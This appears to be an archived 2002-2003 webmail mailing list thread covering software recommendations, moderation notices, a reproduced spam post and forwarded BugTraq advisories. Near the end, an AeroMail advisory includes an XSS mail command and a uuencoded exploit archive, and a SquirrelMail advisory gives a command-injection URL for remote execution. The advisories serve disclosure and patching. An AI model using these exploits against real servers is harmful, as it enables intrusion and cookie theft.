Hi Daniel,

thanks first - I need a gnu app that's the thing.
I found an address:

http://dmoz.org/Computers/Software/Internet/Clients/Mail/Web-Based/

I think it's from the admin of this list which is exactly what I've
been looking for. I hope it's up to date enough :-)

I guess I will choose horde's IMP whith postfix and the cyrus imapd
- should be a good combo.

I have to set up a mailserver for a about 50+ users. The OS is Debian.
If anybody has suggestions for a better combo please let me know and
especially if there's any disadvantages regarding IMP.

Perhaps this is not the appropriate list to ask but still :-):
the cyrus-imapd supports sasl - is this superior ssl?

if I want to install the cyrus-imapd with sasl I have to install e.g.
open-ssl is there any other "module" I would have to install on a
debian system?

Is sasl supported by most of the mail-clients (e.g. netscape, sylpheed,
MS Outlook Express, etc.)

If I want additional pop3 support - do I just have to install the
cyrus-pop3d package?


thanks,

Tom(my)___

Hi Tom,

Take a look at Mintersoft Visualmail (http://www.mintersoft.com), that
is the application that we are using at the moment to outsource our
messages. This is commercial software, perhaps you are looking for a GNU
app?


Cheers,
Daniel

> -----Original Message-----
> From: chilling_yed [mailto:anyaddress@...]
> Sent: Friday, April 11, 2003 1:07 PM
> To: Web-Mail@yahoogroups.com
> Subject: [Web-Mail] Which webmail app to choose
>
>
> HI,
>
> I wanted to ask if somebody can give me some pointers or
> hints about which
> webmail app to choose for say around 50 users.
>
> It should be enough documented to not run into deep problems, safe and
> not too tricky.
>
> I came accross horde and squirrelmail.
>
> Are there any others which are worth mentioning?
>
> A search on freshmeat for webmail gave 76 projects and I
> don't want to look
> through them all thoroughly :-).
>
> thanks in advance,
>
> Tom(my)___
>
>
>
> // Moderator note:
> //
> // I assume your Web and mail server is Linux/Unix rather
> than Windows.
> // When asking for advice such as this it would be best to
> give details
> // of servers and any other constraints.
> //
> //   - Robin Whittle    List owner
>
>
> ------------------------ Yahoo! Groups Sponsor
> ---------------------~-->
> Get 128 Bit SSL Encryption!
> http://us.click.yahoo.com/W7NydA/hdqFAA/VygGAA/8vOslB/TM
> --------------------------------------------------------------
> -------~->
>
>                // Web-Mail list home page and message archive:
>                //
>                //    http://groups.yahoo.com/group/Web-Mail
>                // &  http://www.firstpr.com.au/web-mail/
>                //
>                // Unsubscribe from http://groups.yahoo.com/mygroups
>                // or by sending email to:
>                //
>                //    Web-Mail-unsubscribe@yahoogroups.com
>
>
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/
>
>
>
>

HI,

I wanted to ask if somebody can give me some pointers or hints about which
webmail app to choose for say around 50 users.

It should be enough documented to not run into deep problems, safe and
not too tricky.

I came accross horde and squirrelmail.

Are there any others which are worth mentioning?

A search on freshmeat for webmail gave 76 projects and I don't want to look
through them all thoroughly :-).

thanks in advance,

Tom(my)___



// Moderator note:
//
// I assume your Web and mail server is Linux/Unix rather than Windows.
// When asking for advice such as this it would be best to give details
// of servers and any other constraints.
//
//   - Robin Whittle    List owner

When I moderated this message from a new member, I should have made the
subject line more informative and got rid of the all upper case.

Jamal, I think that most people on this list would probably not want to
run a Web-mail system or anything else on a Windows machine, for good
reason - so they may not know how to help you other than by encouraging
you to run a good open-source mail server like Postfix, Qmail etc. on a
good open-source Unix-like operating system, such as Linux or one of the
flavours of open-source BSD.

Most decent Web-mail system keeps sent and received mail and other
mailboxes on the mail server, which means the server must support the
IMAP protocol. (Maybe some systems store the mails in themselves.)  The
Web-mail program does not have to run on the same computer or operating
system as the mail server, or be on the same LAN, but it is common, in
smaller systems at least, to run all the programs on one machine.

Do standard free services like HotMail enable you to access mail on a
server via POP3?  Maybe that would do the trick for you.

My page:

   http://www.firstpr.com.au/web-mail/

has a list of Web-Mail programs and links to sites with other lists.  My
page doesn't generally deal with closed-source or Windows programs.  The
chances of getting an open-source or free Web-mail system for Windows
seems remote, but maybe there are some programs to do what you want in
the vast amount of usually closed-source shareware at:

   http://www.tucows.com



    - Robin     (List owner.)

sjhamid wrote:
> A-O-A,
>
> I need to access my exchange server mail through the web,mean, from
> anywhere in the world to my local mail.
>
> My exchange server is a MS Exchange2000.
What mail access protocol do you use, POP3 or IMAP?

A-O-A,

I need to access my exchange server mail through the web,mean, from
anywhere in the world to my local mail.

My exchange server is a MS Exchange2000.



thanx.

Jamal

Joe Selvaggi wrote:
> Folks,
>
> I am involved in providing Internet access and hosting services to
> mostly Primary schools and some Secondary schools. To date we have
> provided a very basic webmail system that was developed in-house.  We
> are currently considering moving to sqwebmail (or similar) and looking
> for the most child friendly templates, or suggestions for a suitable
> alternative.
>
> Key requirement being an extremely user friendly interface suitable for
> primary school students, running on Unix with Qmail and the vpopmail
> package.
Don't use a POP-based webmail program, install an IMAP server package as
there is a larger choice of programs that use IMAP.
> Any suggestions greatly appreciated.
Try the latest stable version of SquirrelMail. (Note: It requires an IMAP
server, Apache 1.3 and PHP, you will need to have those installed)
> Joe Selvaggi

Folks,

I am involved in providing Internet access and hosting services to
mostly Primary schools and some Secondary schools. To date we have
provided a very basic webmail system that was developed in-house.  We
are currently considering moving to sqwebmail (or similar) and looking
for the most child friendly templates, or suggestions for a suitable
alternative.

Key requirement being an extremely user friendly interface suitable for
primary school students, running on Unix with Qmail and the vpopmail
package.

Any suggestions greatly appreciated.

Joe Selvaggi

Just saw a link to this on Bugtraq, http://f0kp.iplus.ru/bz/008.txt

I just saw this on bugtraq:

A problem in the Courier sqwebmail package, a CGI program to grant
authenticated access to local mailboxes, has been discovered.  The
program did not drop permissions fast enough upon startup under
certain circumstances so a local shell user can execute the sqwebmail
binary and manage to read an arbitrary file on the local filesystem.

Roland,

You can take a look at Mintersoft VisualMail
(http://www.mintersoft.com), it has a driver for accessing Maildir++
mailboxes directly from disk.


Cheers,
Daniel

> -----Original Message-----
> From: Roland Verlander [mailto:rolyv@...]
> Sent: Thursday, October 24, 2002 8:14 AM
> To: Web-Mail@yahoogroups.com
> Subject: [Web-Mail] Webmail systems that directly manipulate
> the mail spool
>
>
> Does anyone know any Webmail systems that directly manipulate
> the mail spool
> (/var/spool/mail) instead of using POP/IMAP to get the mail?
>
> Thanks
>
>
>
>
> ------------------------ Yahoo! Groups Sponsor
> ---------------------~--> Get 128 Bit SSL Encryption!
> http://us.click.yahoo.com/JjlUgA/vN2EAA/kG8FAA> /8vOslB/TM
>
>
> --------------------------------------------------------------
> -------~->
>
>                // Web-Mail list home page and message archive:
>                //
>                //    http://groups.yahoo.com/group/Web-Mail
>                // &  http://www.firstpr.com.au/web-mail/
>                //
>                // Unsubscribe from http://groups.yahoo.com/mygroups
>                // or by sending email to:
>                //
>                //    Web-Mail-unsubscribe@yahoogroups.com
>
>
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/
>
>
>
>

Quoting Roland Verlander <rolyv@...>:

> Does anyone know any Webmail systems that directly manipulate the mail
> spool
> (/var/spool/mail) instead of using POP/IMAP to get the mail?
>
> Thanks

Courier might suit you. Its webmail manipulates maildirs directly on disk.

www.courier-mta.org

--

Jure Pecar

Does anyone know any Webmail systems that directly manipulate the mail spool
(/var/spool/mail) instead of using POP/IMAP to get the mail?

Thanks

Hello everybody,

I would like to know how to implement a web based email application
similar to yahoo using Microsoft technology.

Are there any free ASP mail components available? if yes which are
those?
If we have to develop a new component what procedure to follow?

Can anyone detail about this or let me know the websites/ books/
tutorials where i can get similar information.

Thanks
Majid


// Moderator note:
//
// Sorry about the delay in moderating this message!
//
// I can't imagine a single good reason to use Microsoft
// when really flexible, powerful, robust mail servers and
// web-mail systems are available for Linux, Unix and BSD
// for free.   A desire not to learn these operating systems
// is not, in my view, a good reason!  Its a very worthwhile
// investment to learn them.
//
//  Robin - List owner.

Dear Members,

I thought this list was quiet . . . . it turns out that for some reason
all new members have their messages subject to moderation.  This is not
something I set, or something I currently know how to change.  Its a
good thing in many ways - such as to stop off-topic messages - but it
means I have to keep an eye on the list to enable new members' messages
to be approved.

Now, in October, I realise that some messages have been pending since
July!

Sorry about this!

Since this is a low volume list, I am not going to habitually monitor
the moderation window.  The system sends me a message saying that there
is a message to moderate, but if, in the flurry of email, I miss this,
then I might not realise that there is a message pending.  I have
altered my mail filtering rules so I am not likely to miss any such
moderation notice, but if for some reason you think I am asleep at the
wheel, please write to me.  You can find my email address at:

   http://www.firstpr.com.au/web-mail/

When a new member posts a good message, I will usually change their
status to not requiring any further moderation.

   - Robin

Dear List Members,

Until now this list has accepted attachments, but I have disabled this,
primarily because of the excessive number of viruses / worms etc.
particularly the very large Klez worm emails.

Until now, the list has accepted messages from anyone at all, such as
anyone who joins and sends anything at all.  I have now changed this so
that new members will be moderated.  This means your first message will
need to be approved by me.   I am pretty much glued to my computer and
email when I am awake, but if I am away for a weekend or something, then
this means there could be a few days delay in approving your message.  I
am in Australia, so I am usually sleeping during the day US time.

The purpose of this is to stop our list being cluttered by spam and
other off-topic material.

One new member, in the message before this one, joined the list and sent
the message in the same minute.  That message had no body.  I have
deleted that message from the archives and banned that email address.

I was remiss, as list owner, in not doing the same for message 53 on 19
April.   Because Tom Currie, in the next message:

   http://groups.yahoo.com/group/Web-Mail/message/54

discussed the identity of this spammer, I will leave it in the
archives.   Thanks Tom for this, I should have turned on Moderate New
Members from the start!


This list is pretty quiet - but that's cool.  As long as its signal is
non-zero and its signal-to-noise ratio is high, I am happy to keep it
going.

Thanks everybody!


    - Robin Whittle

      List owner

Hi!

If you need web-based e-mail and web-based calendar, I suggest that you
take a look at Mintersoft (http://www.mintersoft.com). They have a
web-based e-mail, calendar and file storage solution that works really
good and has tons of features. We are using their VisualMail product
since 1998.

For IMAP we use here Courier-IMAP with Qmail, both of them accessing
Maildir mailboxes. For LDAP, take a look at OpenLDAP. I have no
experience with antivirus, but I guess that somebody else from the list
will be able to help you.


Cheers,
-Daniel

> -----Original Message-----
> From: J Willie [mailto:kili94043@...]
> Sent: Friday, May 24, 2002 5:55 PM
> To: Web-Mail@yahoogroups.com
> Subject: [Web-Mail] Need new email server - looking for
> website comparison or System Integrator
>
>
> Hello.  I am looking for help in evalauating a new
> email server for business.  I need webmail, virus and
> content scanning, calendar, iMap, LDAP, and more.
>
> I need a broker of sort, to show me the top 5 email
> servers for small business, where I and others in my
> company can test the functioning of the machine.
>
> OR
>
> I am also looking for a wesite article that compares
> many email servers fuctions.
>
> Any help would be great.
>
> -J
>
> __________________________________________________
> Do You Yahoo!?
> LAUNCH - Your Yahoo! Music Experience
> http://launch.yahoo.com
>
> ------------------------ Yahoo! Groups Sponsor
> ---------------------~-->
> Grab your copy of VeriSign's FREE Guide, "Securing Your Web
> site for Business," and you'll learn everything you need to
> know about using 128-bit SSL to encrypt your e-commerce
> transactions, secure your corporate intranets and
> authenticate your Web sites. 128-bit SSL is serious security
> for your online business. Get it now!
> http://us.click.yahoo.com/A62TUC/LyKEAA/sXBHAA/8vOslB/TM
> --------------------------------------------------------------
> -------~->
>
>                // Web-Mail list home page and message archive:
>                //
>                //    http://groups.yahoo.com/group/Web-Mail
>                // &  http://www.firstpr.com.au/web-mail/
>                //
>                // Unsubscribe from http://groups.yahoo.com/mygroups
>                // or by sending email to:
>                //
>                //    Web-Mail-unsubscribe@yahoogroups.com
>
>
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/
>
>
>
>

Hello.  I am looking for help in evalauating a new
email server for business.  I need webmail, virus and
content scanning, calendar, iMap, LDAP, and more.

I need a broker of sort, to show me the top 5 email
servers for small business, where I and others in my
company can test the functioning of the machine.

OR

I am also looking for a wesite article that compares
many email servers fuctions.

Any help would be great.

-J

__________________________________________________
Do You Yahoo!?
LAUNCH - Your Yahoo! Music Experience
http://launch.yahoo.com

Hello,

http://www.hitweb.info/ needs a Professional Developer with PHP &
MySQL Skills. Please send Emails to jobs@... for more
details please visit http://www.hamarait.com/

Note the following points:

1. Emails without a proper covering letter would be rejected without
even being read.

2. Please provide us your good detailed introduction in your covering
letter, this helps us to carry out initial assessment.

3. Please provide us atleast 5 URLs of the web sites on which you've
worked previously. Remember that your brief portfolio is more
important than your Resume.

4. This is not a full time job so its simply a wonderful opportunity
for those who want to work with us as Part Time Developers without
even disturbing their current full time jobs.

---------------------------------------------
MESSAGE FROM HAMARA GROUP OF IT SERVICES
---------------------------------------------

At the moment we are looking for a Developer with PHP & MySQL skill
for our upcoming web sites. To apply for this wonderful opportunity
you should have a strong background in PHP with MySQL and must have
worked on atleast 5 Professional PHP Web Sites. The most attractive
part of this job offer is the independance to work even from your
home, there is no need to get up early morning and rush to the
office, so if you think its your type of career opportunity, contact
us at jobs@...

Best Regards,
Neha Kapoor,
Vancouver, Canada

---------------------------------------------

Yet another spam from the same full time professional spammer scum at
Ricochet Technology (208 W. Locust; DeKalb, IL 60115 US) and their equally
ethical ISP Global Crossing (960 Hamlin Court; Sunnyvale, CA 94089 US) that
knowingly permits this consistent network abuse by their customer Ricochet
Technology.

The web site being advertised belongs to the well known scum calling himself
"Bruce Bighorn" showing an address of 208 W Hollywood; Hollywood, CA 90210,
along with a blatantly faked phone number.   The IP address is 66.197.78.196
hosted by Pro Hosters L.L.C. (406 Suburban Drive #101; Newark DE 19711 US).

There isn't anything we can do about this particular spammer because both
the spammer's ISP and the web site host ARE the spammers.  Yahoo could solve
a lot of the problem by blocking access from known pestholes like the IP
range 208.49.145.96 - 208.49.145.127 assigned to the spammer scum at
Ricochet Technology (or just as well blocking the whole damn range
208.48.0.0 to 208.51.255.255 assigned to the trash at Global Crossing!), but
Yahoo doesn't care about spamming done to Groups, so we won't get any help
there.  The scum at Ricochet Technology have registered dozens of Yahoo ID's
through Yahoo in the UK and they use these addresses as throw-aways (not
that Yahoo ever gets around to canceling them for the spamming, but some
group owners do get around to banning the individual addresses)

The one thing the group owner could do to cut out the vast majority of the
spamming in the group would be to set the group configuration to Moderate
New Members.  Very few professional spammers are going to bother joining a
group and sending an on-topic post first before waiting to send their spam.
Moderating just the NEW members screens out 99% of the spammers without any
impact on the legitimate users of the group and without requiring any
significant amount of work by the owner/moderator.



----- Original Message -----
Return-path:
<sentto-3916394-52-1019151380-N4AOF=iglou.com@...>
Envelope-to: N4AOF@...
Received: from [66.218.66.70] (helo=n15.grp.scd.yahoo.com)
  by iglou.com with smtp (8.9.3/8.9.3)
  id 16yFpp-0005ad-00; Thu, 18 Apr 2002 13:36:42 -0400
X-eGroups-Return:
sentto-3916394-52-1019151380-N4AOF=iglou.com@...
Received: from [66.218.67.194] by n15.grp.scd.yahoo.com with NNFMP; 18 Apr
2002 17:36:32 -0000
X-Sender: gakraoraar@...
X-Apparently-To: Web-Mail@yahoogroups.com
Received: (EGP: mail-8_0_3_1); 18 Apr 2002 17:36:19 -0000
Received: (qmail 67085 invoked from network); 18 Apr 2002 15:54:20 -0000
Received: from unknown (66.218.66.216)
   by m12.grp.scd.yahoo.com with QMQP; 18 Apr 2002 15:54:20 -0000
Received: from unknown (HELO n9.grp.scd.yahoo.com) (66.218.66.93)
   by mta1.grp.scd.yahoo.com with SMTP; 18 Apr 2002 15:54:20 -0000
Received: from [66.218.67.173] by n9.grp.scd.yahoo.com with NNFMP; 18 Apr
2002 15:54:19 -0000
To: Web-Mail@yahoogroups.com
Message-ID: <a9mq79+4f1q@eGroups.com>
User-Agent: eGroups-EW/0.82
X-Mailer: Yahoo Groups Message Poster
From: "gakraoraar" <gakraoraar@...>
X-Originating-IP: 208.49.145.108
X-Yahoo-Profile: gakraoraar
MIME-Version: 1.0
Mailing-List: list Web-Mail@yahoogroups.com; contact
Web-Mail-owner@yahoogroups.com
Delivered-To: mailing list Web-Mail@yahoogroups.com
Precedence: bulk
List-Unsubscribe: <mailto:Web-Mail-unsubscribe@yahoogroups.com>
Date: Thu, 18 Apr 2002 15:54:17 -0000
Subject: [Web-Mail] I found this cool site
Reply-To: Web-Mail@yahoogroups.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-UIDL: 86ffbf57c21ee33f3aed452e45a3c95e

Like most people, I've had some trouble with credit in the past. For
a long time I haven't been able to find a company that would give me
a credit card at all. I found this site and I just had to share it
with the rest of the group. It has all sorts of credit cards, some
are guaranteed to be approved no matter what your credit history is
like. Also, they have gold and platinum cards and offer free services
for credit reports. You got to see this site.

http://badcreditunsecuredcreditcard.com



                // Web-Mail list home page and message archive:
                //
                //    http://groups.yahoo.com/group/Web-Mail
                // &  http://www.firstpr.com.au/web-mail/
                //
                // Unsubscribe from http://groups.yahoo.com/mygroups
                // or by sending email to:
                //
                //    Web-Mail-unsubscribe@yahoogroups.com


Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/

Like most people, I've had some trouble with credit in the past. For
a long time I haven't been able to find a company that would give me
a credit card at all. I found this site and I just had to share it
with the rest of the group. It has all sorts of credit cards, some
are guaranteed to be approved no matter what your credit history is
like. Also, they have gold and platinum cards and offer free services
for credit reports. You got to see this site.

http://badcreditunsecuredcreditcard.com

 

----- Original Message -----
The next thing I noticed is a "Good News - Bad News" situation. 
The good news is that runbox has great customer service support.
The bad news is that I needed support because both SMTP and POP3 access were not working despite my copy of Outlook Express having been set up exactly as described in the excellent runbox help files.
At this point I still have not gotten POP3 access to my runbox mailbox about an hour after first signing up -- but in that hour I have signed up for a runbox account, verified that sending and receiving mail works fine through their webmail interface, and exchanged three e-mail messages with a live support person who actually knew what we were talking about -- anyone who has used Yahoo can see why I'm rather impressed with runbox as a web and pop/smtp mail system.

Once they get Qwest's routing error problem resolved, if it works as well as the rest of what I've seen on runbox so far, I expect that I'll sign up to keep the service and use it as the address for my Yahoo Groups and other mail lists.

Lee,

I agree totally about wanadoo.fr being a giant pesthole -- I block their
domain on my incoming mail too,

But the listing of "free" e-mail services that happens to be on one of their
web sites is one of the most complete collections of this information I've
found anywhere.

Unfortunately the list isn't very up-to-date in a world where such services
are now dropping out of existence or being swallowed up by their larger
former competitors.  Many of the "free" services in the list are also no
longer free.  This problem is also true of just about every reference to
free mail servers -- none of the lists are up-to-date.

Several of the free or cheap e-mail services also have other problems, I
recognized several domains (in addition to wanadoo) that I block and I'm
sure there are some others that I almost certainly have blocked by IP rather
than by domain (then again, I've also blocked damn near the whole APNIC IP
allocation on my mail)

But some of us who don't have the luxury of hosting our own mail server with
gigabytes of storage.  In fact some of us don't even have a 24/7 connection
so we can clear the mail from our mail server automatically several times a
day.  So yes some of us do have reasons to be looking for mail storage to
supplement the 5 or 6 MB allowed by most ISPs.


----- Original Message -----
From: "Lee Besing" <lbesing@...>
To: "Tom Currie" <n4aof@...>; "emailsupport Yahoo Group"
<emailsupport@yahoogroups.com>; "emailtipsntricks Yahoo Group"
<emailtipsntricks@yahoogroups.com>; "Web-Mail Yahoo Group"
<Web-mail@yahoogroups.com>
Cc: "REACT Chat Mail List" <react-chat@...>
Sent: 21 March 2002 13:00
Subject: Re: [REACT-CHAT] List of free and cheap e-mail services around the
world


> And if anyone is looking for a source of frequent system hacks, easily
> spread viruses, you have also found that source.   I've had to set more
> blocks in my firewalls for this ISP tha any other ISP because of attempted
> intrusions into my web or mail servers, more viruses in my quarantine
> files, all which originated from this provider.   They top my list of
> banned sites, in so far as my servers are concerned because of their lack
> of response in preventing this behavior.   And yes, I have supplied them
> with adequate time line log files showing what IP at what time taking what
> actions, but they have chosen to ignore or send canned replies to my
> requests for help.
>
> At 12:40 PM 3/21/2002 -0500, Tom Currie wrote:
> >If anyone else is looking for free or cheap e-mail services, I found a
> >site with a pretty good listing.  The site is in French, but it's easy to
> >understand even if you don't speak any French.  One thing I will mention
> >for those who don't speak French is that the word "pays" is French for
> >"country" so the column in their list headed "pays" is which country
where
> >each service is.
> >
> >The list is at

><http://perso.wanadoo.fr/fiweb/pop3fiweb.htm>http://perso.wanadoo.fr/fiweb/
pop3fiweb.htm

Now that Yahoo has decided to quit providing free POP3 service, what
are some of the other services still available and what are their
strengths and weaknesses?

I know fastmail still provides free POP3 service - and I also know
that they say they will refuse mail from Yahoo containing large
attachments - apparently to prevent folks from using fastmail
mailboxes to receive mail from Yahoo!Groups that send pictures or
other files.

I am currently working on a project that requires an additional
criteria to be met in addition to user password.

Essentially the algorithm would be

If username is Valid then
          If password Valid then
              If additional-field in user record = true then
        Allow User in
End ALL


I found one NT based mail program that allows you to specify a "where
clause" on the user database.  So the resulting query would not
contain any user records where the predetermined field = false.

Does anyone know of any Linux based systems that can do this?

TIA

[Forwarded from the BugTraq mailing list]


-------- Original Message --------
Subject: AeroMail multiple vulnerabilities
From: Ulf Harnhammar <ulfh@...>
Date: Sun, March 3, 2002 13:26
To: bugtraq@...

AeroMail multiple vulnerabilities

PROGRAM: AeroMail
VENDOR: Mark Cushman (mark@...)
HOMEPAGE: http://the.cushman.net/projects/aeromail/
MIRROR: http://www.packetplay.com/projects/aeromail/
VULNERABLE VERSIONS: all versions below 1.45
SEVERITY: medium to high


DESCRIPTION:

"AeroMail is a Web-based email client written in PHP. It uses an IMAP server to
read and store messages in one or more user-defined folders, and its features
include HTTP authentication for login (no cookies), folder manipulation, support
for sending and viewing attachments, inline image display, multilanguage
support,
and URL highlighting."
(direct quote from the program's project page on Freshmeat)

AeroMail is released under the terms of the GNU General Public License. It seems
to have quite a few users.


ISSUES:

1) When sending e-mails, you can trick the attachment subsystem into sending
local files from the web server or remote files from URL's instead of uploaded
files as it should.

How is that possible? Well, after PHP has uploaded a file, it sets a few
variables with information about it. One of them is the filename under which the
uploaded file has been temporarily stored. It is important to check that this
variable was set by uploading a file. It might also be normal POSTed data, in
which case you end up with this problem.

2) You can add additional headers to outgoing e-mail messages by sending some
normal data for the To or Cc or Subject fields, a CRLF and then another header
with some data. (A lot of other programs allow this too. It's not just
AeroMail.)
This can be used for adding uuencoded attachments up in the headers with lines
ending in CR instead of CRLF, as previously discussed here on Bugtraq.

3) JavaScript and HTML code is active, when Subject headers are displayed. This
allows DOS attacks by redirecting, theft of cookies etc.

Issues 1 and 2 require a valid user/password combination to be exploited, while
issue 3 is open to anyone.

The vendor was contacted with an explanation, two exploits and a patch on the
23rd of February. Version 1.45, which is not vulnerable to any of these issues,
was released on the 27th of February.


RECOMMENDATION:

I recommend that all users upgrade to version 1.45 immediately.


EXPLOITS:

Here are HTML exploits for issues 1 and 2. They are distributed as a uuencoded,
gzipped tar archive.

Issue 3 doesn't need a special exploit - you just send an ordinary mail:

mail -s '<script>self.location.href="http://www.kuro5hin.org/"</script>' \
metaur@... < /dev/null


// Ulf Harnhammar
metaur@...


begin 644 aeromail_exploits.tar.gz
M'XL("!9R@CP``V%E<F]M86EL7V5X<&QO:71S+G1A<@#M5FUOVS80]F?]BJL&
M;"TPF[(MQYEG!VT<`PF0-Z0.VGT*:(FVV$FB1E)QLU^_HR0G?EOL8AG:;GP`
M03B2]\KCW5$F14)Y?,<^9['@6I':B\/S?*_;Z>#?\[H'_LJ_0LWK^K[G=YM>
MLU7#K^MW:]!Y>5,VD2M-)4`MCZ?/G]NQ_YV";MS_^DJS$>DD_B<ZO*;G'?C^
MW]U_J]-NK]U_%]=JX+V4D\_A?W[__5<G5\/Q;]<C.!U?G,/U[?'YV1#<.B$?
MVD-"3L8GY8;?\)HPEC157'.1TIB0T:7KN)'668^0^7S>F+<;0L[(^(:8A/%)
M+(1BC5"'[I'3-TOFQVB(/\UUS([>8:9=8*;!J,PT:/9)N>/T$Z8I&.%U]D?.
M[P?N4*2:I;H^?LB8"T%)#5S-/NM"WZ\01%0JI@=<B?KA8>>7>M,H)J5*IS\1
MX0-,9H&(A1RX/TP+N&`$(%FFH@LQ3W]?(NDJ[=ROTL:CYE8_<!EU3H5,`%V)
M1#APKZ_>CU%B8.(W6`[</<>UI!&(Y/'Q$<72\"YA2M$9:V11AJH^2*[1:9@\
M0!]C(]ETX)JS6O1,M'+Y-I,8EH+?"'./;N,IG/Y(<XR.3".:)%3V"3UR>`HM
M?'>-?F:,Y&F6:]`85[2*AR%+74AI@...=(W=,X1_+L\OCJHPN*_XF$<=X9
MBUY_(H]699B(+B1HL3C?08;BK#,,=C`%P2;3.ZUI$,'K>40U3'G,0$BXO3D'
M+<#$ZLT.F;3@7Y*[<(HP'9",*C4/5W7=F:/PFIN`:Z9^AD]8*@"3CDE0PEPJ
M3V>@C3U<P83/<$_DLV@_2PKI6\QI>?[AFAV&K7)<1VS%^3F/8Y@P"&@<LQ#0
M5G/BXNQBY)BT9U+M:8TAMEBS-2Y&R'Y2=?%6UZ4Z+LVRF`?4/`0B`LUT76G)
M:+)0]#Z??&*!WJ%$E:<V<^487WK%:\Y3%%VQF!K@@A1SA>=-%8E5R8AU8G&T
M$K*B%E4E7#^&9?'.<<EPFE=N.(@17Y2<HMA][=*^%W;W_]:_WO^[IN?;_O]5
M\$WU_]9_I/^WOJ?^?RDTZ\&)2'_2D$G4"*/+\>@&Z-1T.M-/8HJ-K^PGIL70
M]`'$M-A9U$SU@J/$6LDV$\2V@KW59>=C_;2PL][LP2F3#%!2T:V?=EH]0`V2
M@F&JW%(;Y?]Q2%DSQ\PFV\S!\A"]S;.0:M;(\X9:4MA>,H7"E,TA$7)IW^\]
M;\HS45U,-5544Y&RY:#NY*RFD(K=^S+><F:H>+^,M1P,=HX#R_FQ.A.LW<KC
M*+#M:C:?YU/L.TMWLTCUI]V#O5+%CAL6%A86%A86%A86%A86%A86%A86%A;?
+'/X"S&R_G``H````
`
end

Thanks for mentioning this Robin.

For people's information, the SM team has scrambled today and released 1.2.4
earlier this afternoon, fixing this security hole. The bug effects 1.2.2 and
1.2.3 (maybe a couple older versions)

If you are running SM, I highly recomend you upgrade to 1.2.4. If for some
reason you are loathe to do that there are a couple of other ways to fix
this bug. Check www.squirrelmail.org for more details.

Caleb

Here is something from the BugTraq mailing list, at:

    http://www.securityfocus.com

I think BugTraq is essential reading for anyone running any kind of
server or permanently Interconnected computer.

  - Robin


-------- Original Message --------
Subject: [BugTraq] squirrelmail bug
Date: Thu, 24 Jan 2002 16:55:57 +0100 (CET)
From: <appelast@...>
To: bugtraq@...
CC: squirrelmail-pl@...


Squirrelmail remote execute commands bug

Version Affected :
1.2.2

Squirrelmail is a webmail system, which allows users to send, get, read
etc. mails. It has some themes, plugins etc. One of the plugins has a
very interesting piece of code :

from file check_me.mod.php :

$sqspell_command = $SQSPELL_APP[$sqspell_use_app];
...
$floc = "$attachment_dir/$username_sqspell_data.txt");
...
exec ("cat $floc | $sqspell_command", $sqspell_output);


Everything should be ok, but where this page includes config files,
where are defined $attachment_dir and others ? Answer: Nowhere. We can
set up variables $sqspell_command and $floc. Result ? We can execute any
command of course as a http serwer owner.

Exploit :

host/plugins/squirrelspell/modules/check_me.mod.php?SQSPELL_APP[blah]=wall%20hel\
lo&sqspell_use_app=blah&attachment_dir=/tmp&username_sqspell_data=plik

<appelast@...>